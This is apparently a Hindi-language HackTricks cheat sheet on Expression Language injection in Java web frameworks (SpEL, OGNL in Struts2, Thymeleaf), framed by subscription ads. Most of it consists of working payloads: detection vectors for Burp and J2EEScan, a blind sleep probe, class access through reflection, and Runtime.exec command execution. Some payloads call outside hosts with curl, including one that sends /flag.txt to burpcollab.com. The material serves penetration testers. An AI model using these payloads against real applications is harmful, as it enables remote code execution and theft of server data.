क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए? सब्सक्रिप्शन प्लान्स की जाँच करें!
एक्सप्रेशन भाषा (EL) जावा ईई में प्रमुख है जो प्रस्तुति परत (जैसे, वेब पेज) और एप्लिकेशन तर्क (जैसे, प्रबंधित बीन्स) को जोड़ने के लिए है, उनके बीच इंटरेक्शन संभावित करता है। यह प्रमुखतः इस्तेमाल होता है:
जावासर्वर फेसेज (JSF): UI कंपोनेंट्स को बैकएंड डेटा/क्रियाओं से जोड़ने के लिए।
जावासर्वर पेज्स (JSP): JSP पेज्स में डेटा एक्सेस और परिवर्तन के लिए।
कॉन्टेक्स्ट्स और डिपेंडेंसी इंजेक्शन फॉर जावा ईई (CDI): मैनेज्ड बीन्स के साथ वेब परत इंटरेक्शन को सुविधाजनक बनाने के लिए।
उपयोग संदर्भ:
स्प्रिंग फ्रेमवर्क: सुरक्षा और डेटा जैसे विभिन्न मॉड्यूलों में लागू।
सामान्य उपयोग: डेवलपर्स द्वारा जेवीएम-आधारित भाषाओं जैसे जावा, कोटलिन, और स्काला में SpEL एपीआई के माध्यम से।
ईएल जावा ईई प्रौद्योगिकियों, स्थानीय परिवेशों में मौजूद है, और .jsp या .jsf फ़ाइल एक्सटेंशन, स्टैक त्रुटियाँ, और "सर्वलेट" जैसे हेडर्स में शामिल हो सकते हैं। हालांकि, इसकी विशेषताएँ और कुछ विशेष वर्णों का उपयोग संस्करण-विशेष हो सकता है।
ईएल संस्करण के आधार पर कुछ विशेषताएँचालू या बंद हो सकती हैं और सामान्यत: कुछ वर्णअनुमति नहीं हो सकते हैं।
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:{5*5}[25]
नोट करें कि पिछले उदाहरण में शब्द {5*5}मूल्यांकन किया गया था।
#Basic string operations examples{"a".toString()}[a]{"dfd".replace("d","x")}[xfx]#Access to the String class{"".getClass()}[class java.lang.String]#Access ro the String class bypassing "getClass"#{""["class"]}#Access to arbitrary class{"".getClass().forName("java.util.Date")}[class java.util.Date]#List methods of a class{"".getClass().forName("java.util.Date").getMethods()[0].toString()}[public boolean java.util.Date.equals(java.lang.Object)]
पता लगाना
बर्प पता लगाना
gk6q${"zkz".toString().replace("k","x")}doap2#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
J2EE पता लगाना
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
दस सेकंड के लिए सों।
#Blind detection vector (sleep during 10 seconds)https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
#Check the method getRuntime is there{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}[public static java.lang.Runtime java.lang.Runtime.getRuntime()]#Execute command (you won't see the command output in the console){"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}[Process[pid=10892, exitValue=0]]#Execute command bypassing "getClass"#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए? सब्सक्रिप्शन प्लान्स की जांच करें!